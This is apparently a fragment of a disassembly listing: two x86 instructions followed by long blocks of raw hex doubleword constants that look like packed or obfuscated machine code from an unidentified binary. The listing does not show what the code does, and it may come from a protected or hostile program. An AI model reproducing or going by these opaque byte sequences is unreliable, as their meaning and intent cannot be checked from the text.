		pop	esp
		jmp	loc_590A54
; ---------------------------------------------------------------------------
		dd 0DE0E43A6h, 0B88C6892h, 619151Bh, 0E0FFC503h, 1424D1Dh
		dd 3190D8A8h, 6F72918h,	60AA64E5h, 7AC0FA32h, 79882DA2h
		dd 6ADD31EEh, 44D50340h, 48DDF108h, 4174D687h, 1CF64826h
		dd 309DAA41h, 61ED589h,	33F282B6h, 9EE9h, 79175F00h, 0F5CC474Fh
		dd 0D138F3BAh, 0ABAFD666h, 4DB2979Fh, 95B7E37Ch, 0A9E57200h
		dd 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh
		dd 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh,	0F496B99Dh
		dd 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h
		dd 57DB4D52h, 0B6005EF3h, 899DBBEFh, 899500BDh,	0BBEFB69Fh
		dd 0B6D00097h, 7155C3B1h, 0A4370052h, 10D3C20Dh, 0E09h
		dd 7 dup(0)
		dd 0E9000000h, 10E1h, 1918C568h, 6ABEE906h, 9C68FFFAh
		dd 0E9061919h, 0FFFA6AB4h, 191A9168h, 6AAAE906h, 0CC68FFFAh
		dd 0E906191Bh, 0FFFA6AA0h, 191C4568h, 6A96E906h, 3168FFFAh
		dd 0E906191Dh, 0FFFA6A8Ch, 191DD768h, 6A82E906h, 9F68FFFAh
		dd 0E906191Eh, 0FFFA6A78h, 191F7168h, 6A6EE906h, 8D68FFFAh
		dd 0E9061920h, 0FFFA6A64h, 19213968h, 6A5AE906h, 0BE68FFFAh
		dd 0E9061922h, 0FFFA6A50h, 19249668h, 6A46E906h, 0A768FFFAh
		dd 0E9061925h, 0FFFA6A3Ch, 0DFFF57E3h, 0C5E569F9h, 0D9F951E3h
		dd 0CAE868F7h, 0DBFB59E8h, 972647E8h, 0AD3B1DBDh, 902305A5h
		dd 0A5381AB8h, 153A07A7h, 0B6CC66E0h, 48FA2F16h, 0FD4BE0C2h
		dd 0FC50E1F3h, 0FA4C6E6Dh, 3C840554h, 2685C71Ah, 14401E09h
		dd 7B8A5BD4h, 9E46900Ah, 92345910h, 0DF3E0F41h,	0C4E6C715h
		dd 0D64D1874h, 0DDBD5CFh, 6CF9DD6Ch, 932589E8h,	0D8112DB7h
		dd 0A1DC11AEh, 2A168F68h, 0AB2B5AEBh, 0E70A8B63h, 0ADA33457h
		dd 0C597DCCh, 0ABDAF948h, 0A8B642Fh, 0CD3F95F8h, 0CA16833Ch
		dd 764254F2h, 0C744CE17h, 0AC28D7A5h, 497F5Ah, 0C2E30000h
		dd 0F3FD4BE0h, 0C7E4A2C7h, 8E98B796h, 34058816h, 0BF123817h
		dd 2C5DBC8Dh, 0A8A88B2h, 33D21A7Bh, 0A8A88D3h, 0C392C20Fh
		dd 1322327Fh, 0FF693FDh, 8DAF4CC6h, 5AAD3ECFh, 0EF77h
		dd 0CD5F4800h, 0B4D13F73h, 0C215BF09h, 0B8004EE0h, 0AA094396h
		dd 0B4FE588Dh, 46C7109Dh, 5EEBEF7Eh, 0D26367F6h, 27725D7Ah
		dd 0A943E543h, 0B496559Fh, 588B2B21h, 109E24E3h, 7452FA4Bh
		dd 7251FB4Eh, 0FB17154Dh, 0C81616h, 681E4361h, 0F7466C4Bh
		dd 11F4935Dh, 0EA168F01h, 67F654E8h, 0FA548926h, 0C30A8AEDh
		dd 83832342h, 0A78B285Eh, 0E4253414h, 8B8EFFDCh, 0D4107557h
		dd 450882F3h, 4CD10475h, 55E3E784h, 862D6CFDh, 8D01C4Ch
		dd 0DFBEFEh, 0E9C98BDAh, 207AEBCCh, 0E9047514h,	0AB3A1CA4h
		dd 6DFC56E6h, 0E475D969h, 0B0A5C4A5h, 79F92B9Dh, 0DBC603AAh
		dd 8200000Dh, 9E842234h, 3E64420Ch, 604260EAh, 0FF2181CFh
		dd 1104A2B2h, 0F460ED1Eh, 0EE64F4D6h, 0F355EAD0h, 0F05CEDD3h
		dd 97C609D2h, 16B6CD3Bh, 0BDB18D04h, 0E4C6E470h, 7DDBFB51h
		dd 0E7BADDC2h, 2CD1AA62h, 355198A4h, 3E91B996h,	6FFF5B0Ah
		dd 45C8109Eh, 2E2F5E7Bh, 0FF168F53h, 0F3A410D8h, 95C2E961h
		dd 958392Dh, 8B581A78h,	0A415710Ah, 0AC49B878h,	0B8205Ah
		dd 0BD360000h, 0BF8B1D6Ch, 0FE4B8FDEh, 1760756h, 6E109DB1h
		dd 756FC4Ch, 0C91C3E86h, 0ACFD2383h, 4E9391A0h,	49BC9B38h
		dd 109DAFCDh, 25587796h, 109DAFA9h, 8CC91372h, 8EB57459h
		dd 0EAC84D16h, 0F4D3B3AEh, 75006D81h, 88276610h, 2A7E13A2h
		dd 3F614120h, 0ACEF62F2h, 0E579F912h, 0D040B46h, 0D590000h
		dd 0F7476949h, 0FF517757h, 0F6456B4Bh, 7567C5Ah, 0F13E6D4Dh
		dd 0A7074D9Ch, 0BF1F3381h, 0A4024699h, 81212B7Eh, 0EC6697B8h
		dd 0B516B6CDh, 70BD025Ch, 75E8C7E4h, 109DB519h,	3B19A3E2h
		dd 0A8A6381Ah, 0B19B2E20h, 0CF0D2D12h, 5BF57BF3h, 40624391h
		dd 0B0D160EEh, 6CBDAE28h, 4D7251E0h, 0B8D18C4Bh, 0C11D5094h
		dd 8A109E40h, 0EF456A0Bh, 620325C7h, 72C315DFh,	85D5FDDAh
		dd 0EFD1FFC9h, 7F5CED5Dh, 0F140085Bh, 0B3064890h, 361C3999h
		dd 7796A7A1h, 5576676Dh, 285D7A0Ch, 168FA489h, 0F5987B9Ah
		dd 0E1057294h, 0C918ABB6h, 4998BA8Bh, 0AC0B6A0Bh, 0F267BC39h
		dd 0C40A3518h, 0EBA35078h, 0D134B13Bh, 0F1644380h, 0CEDE595h
		dd 89B53F5Eh, 54892660h, 12DBFA27h, 70527194h, 67506FDDh
		dd 282217DEh, 3422AA2Ch, 0DC91BB0Eh, 7C5B01A5h,	0F2623CAh
		dd 4E00000Ch, 52785600h, 4A704E00h, 547654F6h, 4B6D4D03h
		dd 457856FEh, 203481EAh, 4210A082h, 5FE93E64h, 4408597Fh
		dd 3725D66h, 16B6CE87h,	0BD65D950h, 0DCC3E06Ch,	835F5BB5h
		dd 0A489889h, 0A602616Bh, 79ECCBBBh, 168F2990h,	0AB8F2C71h
		dd 3E92341Ch, 9A96C40Ch, 6598374Fh, 107C1338h, 0DC2D3C61h
		dd 478137Eh, 18292BBAh,	99A8A236h, 85700983h, 1339D23Ch
		dd 509BB445h, 42EDh, 0E5C25100h, 9DB51670h, 58FA4A10h
		dd 5ABB8809h, 4B3B2692h, 0FB24F96Ch, 0B8DD168Eh, 0A4A4371Bh
		dd 6579D706h, 20B10A8Ah, 17AC8E2Ch, 5F252031h, 600000Bh
		dd 8AFB8F24h, 0A8A6510h, 84D5B4D9h, 0C221BB05h,	6EFF4DE0h
		dd 5099A52Fh, 0A29F7270h, 3E5F4A7Bh, 0A599BEA1h, 7BD56684h
		dd 0AB246954h, 9E2CE03Ah, 564A910h, 1B3A4CBBh, 0D2331685h
		dd 0D7CCDF5h, 0D5F594C0h, 5BEA62F3h, 4D07567Ch,	0C688DAFCh
		dd 0C8211DA7h, 67EC21BEh, 44106C03h, 6DC0E2C1h,	1DEFFDFh
		dd 6C00128Ch, 65F7DB04h, 1A3C84E5h, 78B485C7h, 47B61571h
		dd 0A5CE00Ah, 103F3253h, 2173DCF7h, 0AD44F8Ah, 3D890000h
		dd 4797B919h, 2F81A707h, 4695BB1Bh, 3786AC0Ah, 0A18EBD1Dh
		dd 7757FD4Ch, 6F4F0351h, 7452F649h, 7151FB4Eh, 9CF66768h
		dd 6516B6CFh, 1270122Ch, 53109DB5h, 4B70E06Fh, 0BD69819Fh
		dd 9B9721E3h, 0F2634046h, 1684DB95h, 9E842362h,	1F297E0Bh
		dd 12232BBBh, 0E3492F3h, 64C091BBh, 3BAA097Dh, 1075C952h
		dd 22327FA3h, 95C84D9Ah, 79F5DD20h, 5B93CE5Dh, 200000Ah
		dd 1E04A2B4h, 0BEE4C28Ch, 0E0C2E06Ah, 7FA1014Fh, 91842232h
		dd 74E06D9Eh, 6EE47456h, 73D56A50h, 70DC6D53h, 17468952h
		dd 16B6D0BBh, 0BD310D84h, 6D51E06Ch, 6F5370DCh,	0BDDC6DDDh
		dd 4192B433h, 0C71C3E0Fh, 84E56FBEh, 5BF022B5h,	7405856Ah
		dd 41E68848h, 3456AA3h,	87DF1920h, 6621783Dh, 83204F41h
		dd 531E239h, 0A3780000h, 756902BEh, 1DB2F6A7h, 0BEDFBE8Ah
		dd 417BEC21h, 0ED301685h, 0F359ECCEh, 0F45EEED4h, 0BE9C2465h
		dd 5D45499Ch, 54B584D0h, 853CA925h, 0FE4ADD0Ah,	0FC212E6Fh
		dd 0AB8FCC9Dh, 58A73119h, 0A853CFAh, 1F03C51Ch,	6CADBC8Ch
		dd 853CA1FDh, 4A2B6A0Ah, 58F4456Dh, 0DB6AE476h,	0B02532BAh
		dd 10762EC9h, 70EE351Ah, 42329826h, 7BEAED7Ah, 472931Fh
		dd 91C4A5E8h, 79F6AA2Eh, 6FB59057h, 0EE000009h,	0F2D8F660h
		dd 0EAD0EE60h, 0F4D6F456h, 0EBCDED63h, 0E5D8F65Eh, 0C094214Ah
		dd 0E270C0E2h, 0FF49DEC4h, 0E468F9DFh, 0A3D2FDC6h, 16B6D227h
		dd 0BD85B9F0h, 0FD8F1D6Ch, 942F3AE9h, 1E2F4E7Dh, 8BCF9EFFh
		dd 3C43123Ah, 0A58A3DCEh, 0F37E5886h, 7DE5EFAFh, 0A341CBBFh
		dd 45627h, 12703B00h, 34109DB5h, 5D7A592Dh, 75769772h
		dd 3AAB976Dh, 109E6DE0h, 0BB0564A9h, 855C114Ch,	9C3B5A16h
		dd 892923B6h, 273616A7h, 9A6E009h, 0ADBC9021h, 533216A9h
		dd 30194C89h, 11107649h, 5D70D98Ch, 0E68579F6h,	8C9EBh
		dd 10469400h, 103E90B2h, 0E3C90B2h, 17398AB0h, 104491B7h
		dd 3FAC83B2h, 5E4462F2h, 42684CEh, 173999AFh, 1B2886C6h
		dd 0D245C134h, 9B0E16B6h, 1CDDC2A7h, 0A47AE421h, 6B0A4695h
		dd 6EDE6F61h, 0E26AFBDFh, 0AD1EAC53h, 41DEB17Fh, 3B919A3h
		dd 703D0000h, 109DB518h, 7453332Eh, 0B4A82253h,	2C71109Dh
		dd 0B5045E8Fh, 48CD109Dh, 0F2225380h, 971684A2h, 0D56520B3h
		dd 0C8A9E879h, 85226300h, 7D2E8F9Ah, 0FAC29814h, 48D5FADDh
		dd 91C2C040h, 2B7ED018h, 0E9F8121h, 5EA0378h, 22436387h
		dd 0BACC1513h, 621E321Dh, 4B3997FAh, 0A4215481h, 6D107542h
		dd 2C9FFB6Ah, 25680471h
		dd 43821144h, 24C379F5h, 80129h, 480E5C00h, 58F6486Ah
		dd 4604587Ah, 5FF14268h, 480C597Fh, 97F43B6Ah, 86AC0A4Ah
		dd 9CBE1C36h, 7FA10147h, 0B3C01E2Eh, 0D2DD39ACh, 73A616B6h
		dd 0E06CBDCFh, 1507251h, 1F830253h, 0D5F7C191h,	9179C884h
		dd 82CC5E44h, 873BD03Ah, 1CB81636h, 0A341EA5Ch,	72EC213Eh
		dd 3B109DC1h, 0C8B12DAh, 0AF000000h, 2DAC4h, 71C3E700h
		dd 70450FD9h, 109DB518h, 4090332Eh, 6E547312h, 78656FD9h
		dd 84A2D805h, 0F7497116h, 39830253h, 684A69ACh,	6F5877D5h
		dd 0A91D10EBh, 59836F88h, 1B1DBF95h, 3E64727Ah,	604261EBh
		dd 53B283D1h, 0DC6DDD6Fh, 78B433BDh, 99B61571h,	8B1675AEh
		dd 0CC148EC2h, 756DE03Dh, 0F164A910h, 79F56E6Ch, 2FF7D299h
		dd 2E000007h, 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h
		dd 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh
		dd 6392BD86h, 16B6D3E7h, 0BDC579B0h, 0E4C3E06Ch, 9DB51571h
		dd 8C01DE10h, 109DB512h, 11DBBADBh, 6D527552h, 4DBA4352h
		dd 76D08166h, 3F109DECh, 71C416DEh, 6848ADBh, 1D6CBD75h
		dd 0E167FC8Bh, 0E4C1E180h, 1571E4C3h, 0DE109DECh, 0EC54CEBFh
		dd 3488109Dh, 79C64716h, 0F5F41F4Eh, 22436A87h,	0E6F65085h
		dd 5EBF109Dh, 0D80ECE96h, 7B6A341h, 8C000000h, 1D2C4h
		dd 0E0C26A00h, 4BBA0250h, 109DB4D0h, 2C8BFBE6h,	0BC9A240Bh
		dd 6A2E6872h, 84FF2362h, 0F5181685h, 0A84F9D6h,	0D30A8580h
		dd 0A2D2AB2h, 5DF9A725h, 0DF8AA10h, 2CEED57Fh, 3C1EA6CDh
		dd 1E04A3A9h, 0E76DFC89h, 7563756h, 3A203E86h, 0B794A5A7h
		dd 0CC46B798h, 950A8544h, 44850170h, 0CF4E0A85h, 10B0B905h
		dd 81A90657h, 8724457Bh, 7654FB56h, 0C41C410h, 79F6559Bh
		dd 13D8F5B4h, 4A000006h, 567C5AFCh, 466C4A04h, 587A58F2h
		dd 47694907h, 497C5AFAh, 1C3885E6h, 64C9CBEh, 1B2D82A8h
		dd 84495BBh, 4FBEA1AAh,	16B6D4D3h, 0BDD9859Ch, 6D51E06Ch
		dd 19E170DCh, 0D5681AAFh, 3DFB5777h, 0DFA341EAh, 0C1118D00h
		dd 0BBDA109Dh, 7EA31h, 0C4500000h, 0FBh, 0B517706Ah, 342D109Dh
		dd 0E9491F8Ch, 3B5A5A74h, 6C03B39Ch, 2A76D005h,	0DE3F109Eh
		dd 1C8DDF9h, 4F6B9AB7h,	5816856Bh, 1FB49635h, 90B29F29h
		dd 89AF0F3Dh, 0E7451438h, 3278402h, 9569EB6h, 766279D4h
		dd 8EC34210h, 79F66327h, 67607D2Ch, 0F6000005h,	0EAD0EE68h
		dd 0F2D8F658h, 0ECCEEC5Eh, 0F3D5F55Bh, 0DDD0EE66h, 0A8AC3952h
		dd 0BA98280Ah, 0A7A1361Ch, 0BC902107h, 0DB0A551Eh, 16B6D67Fh
		dd 0BD6DD148h, 57B3226Ch, 20109DB5h, 89CD9CFDh,	3D451438h
		dd 398C36D3h, 5917B313h, 3BA341EAh, 0B988C817h,	10099058h
		dd 2D000000h, 0B6D9DDC2h, 5CDA823Fh, 414994h, 0C2E50000h
		dd 6FFE4CE0h, 21B4A62Eh, 3AAB8C2Bh, 109DB4E0h, 92C79EA9h
		dd 0AC5BC3Dh, 0C002616Bh, 0DD8EDF6Dh, 0DB6E2495h, 51301AAEh
		dd 4EFC5072h, 8569EFFh,	0C0DD0027h, 3DC1A52Fh, 2CA8B3h
		dd 0BD060000h, 7251E06Ch, 0A43024Dh, 32A6395Ah,	80EBD6E3h
		dd 0BF4E96F7h, 109DC55Eh, 0CE3F203Fh, 109DC554h, 96F0F81Dh
		dd 70DC6D25h, 6CBDF852h, 50DFC3E0h, 8D03100h, 4587A59h
		dd 27427E46h, 0B4F26CA1h, 5ABB109Dh, 97BB9C3Bh,	0DA3B0A4Ah
		dd 0A37F7312h, 15781684h, 94B699B6h, 0FF5B0A40h, 300A849Eh
		dd 0AC36AAE6h, 0E4293613h, 0E567FADCh, 0F94FE4C6h, 0B19F2968h
		dd 4EB5AB94h, 329CF667h, 20650A84h, 53EF837Bh, 56F64789h
		dd 0C0A907h, 0F20950F7h, 1AB9D8AAh, 6B8864EBh, 0EF1E4110h
		dd 46B8573h, 8BFAD93Ch,	46B850Fh, 0F7D4B5D8h, 0F062F2D8h
		dd 80D17BCEh, 4495B701h, 3588AA08h, 0FFEA4617h,	49CCBBC1h
		dd 0F9981732h, 0CB6EABDAh, 56B70A5Bh, 0DBE37C23h, 0E3FEAD73h
		dd 3E2h, 4767EF7Bh, 5D7DD161h, 4161E97Bh, 2280D05Fh, 3A3B100h
		dd 5FEE1F10h, 65F3D5F5h, 58EBCDEDh, 5DF0D2F0h, 0DD02CFEFh
		dd 0B6D72EA8h, 0C0A2F716h, 1670E5C2h, 4A109DB5h, 0BF0857F9h
		dd 0ACDCC328h, 717B1AC8h, 607ECE5Fh, 0D465E77Ah, 5CED5FF2h
		dd 0F39F1CB6h, 70CCEA62h, 0A34172A0h, 2D08h, 0BEA32E00h
		dd 0A77AEBC8h, 60168EFBh, 27BC9E3Dh, 0F6528121h, 2E0A8A65h
		dd 2F11B19Bh, 280FAC9Ch, 0C0D4BD34h, 17D61E20h,	3553Ah
		dd 0BEA39800h, 537AEBC8h, 24168EAFh, 9B78D203h,	0DC410A8Ah
		dd 27365714h, 0ABBA9223h, 7741BA38h, 46B71472h,	107B94FFh
		dd 0C09D3D60h, 3504469Ah, 0B9B00CD4h, 8184DE0Fh, 0C84D0477h
		dd 81207AEBh, 0A4E90477h, 4E77E6C5h, 1F0A687Bh,	6751CD40h
		dd 0FB1AFE64h, 401174F1h, 53E2AFFEh, 0F49D283Bh, 4223F1A3h
		dd 0B3F8CCF3h, 0B0AD320h, 86AC0B6Ah, 4A045633h,	6AFB9AFBh
		dd 0E42A12Bh, 9AC067E4h, 81BD0749h, 4CC11E68h, 4553105h
		dd 0A1872766h, 0B89F3C10h, 4A6422A4h, 0A1408818h, 62400C9Dh
		dd 6C4B3B26h, 41ABBCF9h, 71C045FEh, 3DA68200h, 1CADD9F2h
		dd 0DE1420F0h, 4CE0C242h, 29AFF6FEh, 93000000h,	0EBC8BEA3h
		dd 0D3FF39C4h, 5E66B664h, 7E0D0C81h, 0BFDE168Fh, 6DFF5FAEh
		dd 0BC560A8Bh, 535F1D3Fh, 0A4075AACh, 5B000000h, 51E06CBDh
		dd 5774E06Dh, 4356D170h, 747C215Ah, 0BCF1D6F5h,	58774CA6h
		dd 0EA7B5D67h, 5EEFD362h, 269DD0EEh, 8E109DF9h,	53FD4E3Bh
		dd 1BAE9432h, 0DD042031h, 96F751E6h, 0C959C439h, 8302168Eh
		dd 88FEE323h, 3040BA2Bh, 0C4491075h, 0DE76C3E7h, 0C98BDA00h
		dd 0F935F194h, 825F0E79h, 20Ah,	6F4F0753h, 7555F949h, 69490153h
		dd 7A58F847h, 6B4B0958h, 4796F738h, 3D8BAD0Dh, 4093B515h
		dd 3588AA08h, 0A5AAB717h, 0B6D8D630h, 0D88A9F16h, 0C6E470BDh
		dd 0DCFB51E4h, 0B5108AFBh, 0B4D9109Dh, 0A3942E2Ch, 0CCEBC8BEh
		dd 6754ADE3h, 622B3DE9h, 69CBAE8Eh, 0F0446607h,	12F3925Ah
		dd 0E3168EBBh, 0E46293A2h, 200A8AAAh, 4E70C18Fh, 0FD0554FEh
		dd 0F94CF693h, 5FAB3253h, 1CF2C2EAh, 0E15A5AADh, 7D000000h
		dd 7E460255h, 226CBDE4h, 9DB557B3h, 0DEFD2010h,	9DB533AFh
		dd 0F899FC10h, 7CD86569h, 0B1279CEDh, 3E8F109Dh, 0AB8FB00Eh
		dd 0E223321Ah, 0E765F8DAh, 770F5A56h, 80B82558h, 0EED1168Eh
		dd 8A7F237Fh, 2A9EC0Ah,	0EAD5BA37h, 83E0E87Eh, 7D64A402h
		dd 5E3BAA09h, 27107474h, 4FE1C9E6h, 0A12B6AFBh,	153F8EB4h
		dd 2C3691B6h, 0BE9114E6h, 23072836h, 0EE1FBC94h, 4748574h
		dd 0BE10D83Dh, 0BC8E226Fh, 9E07A8DDh, 591079F8h, 0F97Ch
		dd 80D66400h, 0A0AE0022h, 0BE8C2002h, 0A7A93A20h, 0C0942107h
		dd 0F7CB3E2h, 0E3492C2h, 143694BEh, 72989BFh, 2B3896B6h
		dd 0DA55B124h, 0B1E16B6h, 0E470BD57h, 0FB51E4C6h, 814AF3DCh
		dd 1CF4F8C6h, 8126D2B8h, 6B753261h, 0FE6F506Dh,	109E5EA4h
		dd 36A0286Dh, 1B9EDDC2h, 0FDDE1766h, 389FD533h,	15DF75F7h
		dd 0E91C72C3h, 109DD06Dh, 0A7B6D736h, 0E47712A3h, 0D5B4D564h
		dd 10B0B9F5h, 2F4734D5h, 0D9F69793h, 851C1BA4h,	0CC9D0016h
		dd 0B515378Ah, 0F5474293h, 0B0973455h, 41BEF84Eh, 94539D6Bh
		dd 0E4B68E65h, 68E27653h, 0E965F5D9h, 17C27358h, 50E0763Eh
		dd 0FF693FFh, 0C1C033Ch, 0CEDBF407h, 0C686D7FBh, 4BF794FEh
		dd 4D7552FAh, 57854FFBh, 1AA9E071h, 0C9065736h,	514DBBDEh
		dd 6244DC8Eh, 5F717BCDh, 9BB180D0h, 972AD871h
		dd 0A23315B5h, 3BE9BAAh, 24000000h, 71BDE17Bh, 0DF7254E5h
		dd 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h
		dd 9B2D1120h, 2ABC9EAFh, 51221524h, 0C181E189h,	4, 4E981h
		dd 0C870000h, 0C895C24h, 0E0895024h, 405h, 4E88300h, 5C240487h
		dd 56243C89h, 0C681E689h, 4, 4EE81h, 34870000h,	1C895C24h
		dd 0B8505524h, 5E4C699Fh, 0D158C589h, 0A8F581EDh, 81421E54h
		dd 9114C9C5h, 4E5C11Bh,	8106EDC1h, 2B4A6AF5h, 5DEF8904h
		dd 241C8B54h, 4C481h, 45680000h, 89000057h, 2C81243Ch
		dd 4A5DF924h, 8438F45h,	0F9084381h, 8B454A5Dh, 8951241Ch
		dd 4C181E1h, 83000000h,	0C8704C1h, 34FF5C24h, 0C4815F24h
		dd 4, 0FA59F3E9h, 2884E3FFh, 0EC796D27h, 286C5D56h, 26C5B87Fh
		dd 0C5030619h, 1703E0FFh, 62254Fh, 322D15EBh, 4DED41CBh
		dd 886816ACh, 0A0D136AEh, 0F033B7Eh, 0E88A099Eh, 29BE4004h
		dd 388B257Ch, 679D5AB0h, 17E749E2h, 0D05E0E8Eh,	68FB0FE5h
		dd 43093210h, 0DA6E4977h, 2CEF6181h, 62C424D9h,	1A1F5B87h
		dd 0BC8A4D0Bh, 25B2403Ah, 0F18E5h, 0C8CE4BC6h, 9B787C30h
		dd 0DF7E0160h, 1F22E8Ah, 0AC632941h, 48635E7h, 8D8D66B0h
		dd 61928ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0DBC35747h, 8D8933BAh, 6131BBDh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 28C35040h, 67B21201h
		dd 18DD85C7h, 61B80613h, 81660000h, 0C7F290F6h,	13305585h
		dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0FFB2481h, 0B5FFD7B7h, 6131139h
		dd 0FFF3BF0Fh, 131D8995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0F38B6606h
		dd 95FF006Ah, 6130DA9h,	6EEBC08Bh, 4C9FDFB9h, 203155BEh
		dd 337FC039h, 969A592Eh, 0FD15C4Ah, 0E297BAF7h,	0ADA083C8h
		dd 0EBCBB5E5h, 0BDF8562h, 371CD89Fh, 0D181B70Bh, 67E84A7Ah
		dd 0A836AB2h, 9A01E0EFh, 6820FA6Eh, 0DEC7E4Ah, 2648D83Bh
		dd 773F93FCh, 63F9BB9Dh, 0DDB4EC57h, 0A0668F43h, 8080E576h
		dd 0AB84B4D5h, 0FE7DB4CCh, 0A1232AF3h, 0C0FFC0B9h, 0BB5A8405h
		dd 6E931ACh, 90000000h,	189B7Bh, 57CE900h, 61ED0000h, 63F3D5F5h
		dd 53E5CBEBh, 62F1D7F7h, 5BEAD0EEh, 45EAD9F9h, 1BBB9928h
		dd 0BABA735h, 18B69225h, 0DAD9F32h, 70EA1B44h, 3916B6DEh
		dd 6CBD7EE0h, 72C38F1Dh, 6A557213h, 0DC8F3C81h,	7FEEF6B2h
		dd 68460E5Bh, 7E5DEF42h, 0F243095Ch, 0F26A0D5h,	0AEEF109Eh
		dd 0F45CEBCFh, 8597DECh, 81D1F544h, 2DC9EECDh, 4372EBA4h
		dd 5A0D5C64h, 5EEFA318h, 55EAD0EEh, 5AEDD3F3h, 0ED7B5FEEh
		dd 0CDDC36A7h, 9DA5109Dh, 3E5F3E0Ah, 42B7392Fh,	0AD0D3B90h
		dd 43123A8Bh, 67A11B04h, 45AF956Bh, 0E58D0C7Bh,	8C06109Dh
		dd 0D36248EFh, 0D19F3781h, 79A341DBh, 4Ah, 0E06CBDDDh
		dd 0CE4D7251h, 0A4A83956h, 884F7495h, 0B7A4232h, 109DD28Dh
		dd 0C9F38802h, 0A341F40Bh, 1B3h, 6DBD8700h, 0DC6E50E1h
		dd 50DFE372h, 2E7FA300h, 6CE4F1Eh, 0D7EF467h, 69490555h
		dd 77D1664Ch, 72DA6B6Dh, 70BDF654h, 547655E4h, 9AFB4A00h
		dd 0A0AE0052h, 321EAD91h, 0BF8F1F23h, 9425ADAEh, 3ACF39A1h
		dd 3612A58Dh, 0FCDEE627h, 0DFC8E76Dh, 3D92657Eh, 3917A12Ah
		dd 0ADA7361Ch, 0E6A03123h, 1D931A6Dh, 0FFDCBDB5h, 8D31ADE0h
		dd 9BFA109Eh, 1CB09251h, 0A93B1F2Eh, 1CAE90A1h,	0C0E22332h
		dd 82CA1B6Ch, 147E52E3h, 0CB478E77h, 305E0E2Eh,	1A40A341h
		dd 0E53C84C6h, 7Ah, 0E470BD79h,	6BDF7155h, 7AD4664Ch, 0C322AAEBh
		dd 0B969E210h, 0A48B282Ch, 0BFB86260h, 9FBD07CDh, 0F26CA1BEh
		dd 0BB109E73h, 0F140925Ah, 5FF0D263h, 80F5D2F1h, 109E7406h
		dd 153D8BCFh, 1CA4C544h, 0D16AA4CDh, 4157FDABh,	5B65A3h
		dd 0BDF90000h, 7155E470h, 0F7DB6ADEh, 7658E969h, 5DB6AE4h
		dd 0A407EE8Bh, 0AD295C7Bh, 0E1109DB4h, 2C6DFC50h, 9CF6FE1Fh
		dd 6EE6731Fh, 6DBDF250h, 4F7350E1h, 4FED87FDh, 0FB80E32Fh
		dd 824ACB9Ah, 9DC48203h, 0FA8FFB10h, 41FA02D2h,	92C3E4A3h
		dd 109DD138h, 0CD549C01h, 1, 99DDC271h,	1DB27F16h, 45E8F2Ch
		dd 0CD109DE4h, 0FA4E8048h, 6CBD0150h, 0E06D51E0h, 0E45530AEh
		dd 0F2933B33h, 95F16463h, 5E109E96h, 64E9B3Fh, 0DD6EA437h
		dd 219AD4E8h, 0AA245976h, 73109E96h, 3488CA12h,	0B897B816h
		dd 9E96C945h, 69739210h, 5572144Dh, 8F933120h, 92A3E216h
		dd 0DD6C1DB0h, 0C6A7E677h, 0DD6FC2E8h, 909FFD8Ch, 88D70A8Bh
		dd 65579C8h, 2A68FB4Ah,	0DC03A491h, 5CED67F6h, 90940E7Fh
		dd 385D0A8Bh, 84F58F59h, 0F2D17BCEh, 0AD280D0h,	0F953E6CCh
		dd 0B6D36668h, 9EF86D25h, 670A8B90h, 17264726h,	0BA68E16Fh
		dd 2D852527h, 5AAC366Fh, 148D7h, 0BEA36B00h, 377AEBC8h
		dd 0D0168EBCh, 0F8DFFC4Dh, 0EF6CB9ACh, 0C315DFB6h, 0DBFCDA72h
		dd 0ECE414F4h, 0AD37F5A7h, 0DF6F1AABh, 0DEBFDE6Fh, 52FA4B8Fh
		dd 0A7235275h, 700A8A1Fh, 1337892Dh, 6AF9C342h,	0DD9526A4h
		dd 85A2004Ch, 7C44109Dh, 0AD8114E4h, 66BC5Ah, 0C2A20000h
		dd 0B51670E5h, 0F84A109Dh, 3C840956h, 3C9BE700h, 624C2DC9h
		dd 5E81A66Fh, 0E919AE4Bh, 5FBE2BB5h, 1D237F0Eh,	6B25909Eh
		dd 0B40129CEh, 0BECFDDAh, 3253B683h, 0DEDAE223h, 80A20181h
		dd 0BC992331h, 6265AD49h, 0B30426EFh, 0BC87CC9Dh, 26576095h
		dd 29C60E6Fh, 52E3C7E4h, 0CBAAAA37h, 8EF4D301h,	5A000000h
		dd 0EBC8BEA3h, 8EA18F7Ah, 73C2E816h, 0B8AD7E1h,	0A7351D3Ah
		dd 9E2F21ABh, 0B2F10AEh, 0C4E96BEh, 26A0D5B9h, 0EF0A8AA1h
		dd 0CAF0CFAEh, 786D779h, 7CDF2EBDh, 0BD0A8AA1h,	5BEEA415h
		dd 5BF0D2F1h, 0B9F5E3EDh, 84F9D6B0h, 10718929h,	7D228DB2h
		dd 5FEE5AEDh, 5445993Eh, 3E409ACBh, 84090471h, 96B584E5h
		dd 0A42C22B4h, 1C2D1FB2h, 96A7A93Ah, 1F2E24B4h,	40F28709h
		dd 0B0D160EEh, 0F891FBD1h, 6E4D3930h, 5826C2FFh, 0ECCA4B0Ah
		dd 5DDC24Eh, 0C00A0B26h, 0E10834BCh, 912406A5h,	84A5AABBh
		dd 909A7C44h, 0B29F2948h, 84D9E643h, 1F2E6F16h,	87C91A40h
		dd 82CA1B3Dh, 0DEABFE24h, 0D362034Dh, 6F59BA2h,	81FA7808h
		dd 0EECC80D1h, 600D79CCh, 6AF7A87Bh, 0ABAFBEDFh, 6CE0711Ch
		dd 8089AE0Dh, 1A3283ABh, 466588B5h, 0C4F9EF7Eh,	601872E3h
		dd 0BCE1EC02h, 0B161DA34h, 0B18E2C20h, 60035F8Eh, 49CCEC02h
		dd 8DFC4D7Fh, 0C041103Ch, 11B590A1h, 19000000h,	351E0C2h
		dd 61ECD332h, 2339AB4Fh, 31EB1FA9h, 54E571BDh, 0DC6DDF72h
